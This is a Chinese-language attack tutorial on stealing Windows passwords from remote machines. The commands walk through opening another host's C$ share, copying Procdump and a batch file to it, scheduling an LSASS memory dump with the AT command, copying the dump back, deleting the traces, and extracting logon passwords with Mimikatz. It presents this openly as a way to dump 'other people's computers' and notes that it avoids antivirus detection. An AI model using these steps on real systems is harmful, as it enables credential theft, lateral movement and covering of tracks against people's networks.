Mimikatz现在已经内置在Metasploit’s meterpreter里面,我们可以通过meterpreter下载。但是你如果觉得还要考虑杀毒软件,绑定payload之类的东西太过复杂,我们可以有更好的办法,只需要在自己的电脑上运行Mimikatz alpha(地址)版本,然后处理dump的LSASS进程内存文件就行!
那么如何dump LSASS进程内存呢。可以通过以下方式:
1.对于NT6可以使用windows自带的功能进行dump:
任务管理器—进程—显示所有用户进程—找到lsass—右键“创建转储文件”
2.对于NT5可以使用微软的Procdump工具(这当然不会引起杀软报毒)
Procdump: http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
命令如下:
1 |
Procdump.exe -accepteula -ma lsass.exe lsass.dmp |
我们运行mimikatz的平台(platform)要与进行dump的系统(source dump)兼容,兼容性如下:
得到dump后的文件我们就能使用mimikatz获取密码了。我们dump自己的电脑当然没什么意思,下面介绍怎么dump别人的电脑。
首先我们需要能够访问别人的C$(通常只有管理员可以)
1 |
net use \\TARGETBOX\C$ /user:DOMAIN\Username password |
2 |
dir \\TARGETBOX\C$ |
如果上述命令好使的话,我们接下来使用AT命令。
1 |
at \\TARGETBOX |
接下来我们可以在目标主机上开展工作了。
1 |
mkdir \\TARGETBOX\C$\Temp |
2 |
dir \\TARGETBOX\C$\Temp |
3 |
copy c:\temp\procdump.exe \\TARGETBOX\C$\Temp |
4 |
copy c:\temp\procdump.bat \\TARGETBOX\C$\Temp |
procdump.bat中的内容如下
1 |
@echo off |
2 |
C:\temp\procdump.exe -accepteula -ma lsass.exe %COMPUTERNAME%_lsass.dmp |
这里一个技巧就是dump得到的文件名中有“计算机名”,这样可以让我们区分是来dump的文件自哪台电脑。
我们继续。 使用 net time 来获知远程主机上的时间。
1 |
net time \\TARGETBOX |
2 |
at \\TARGETBOX 13:52 C:\Temp\procdump.bat |
复制dump的文件,然后清理痕迹
1 |
dir \\TARGETBOX\C$\Temp |
2 |
copy \\TARGETBOX\C$\Temp\*lsass.dmp C:\temp\output\ |
3 |
rmdir /s \\TARGETBOX\C$\Temp |
之后我们就可以运行我们电脑上的Mimikatz,对得到的.dmp文件进行分析了(注意上文提到的兼容性)。命令如下:
1 |
mimikatz # sekurlsa::minidump SUPERCOMPUTER_lsass.dmp |
2 |
Switch to MINIDUMP |
3 |
4 |
mimikatz # sekurlsa::logonPasswords full |
到此结束!我们得到了远程主机上的密码。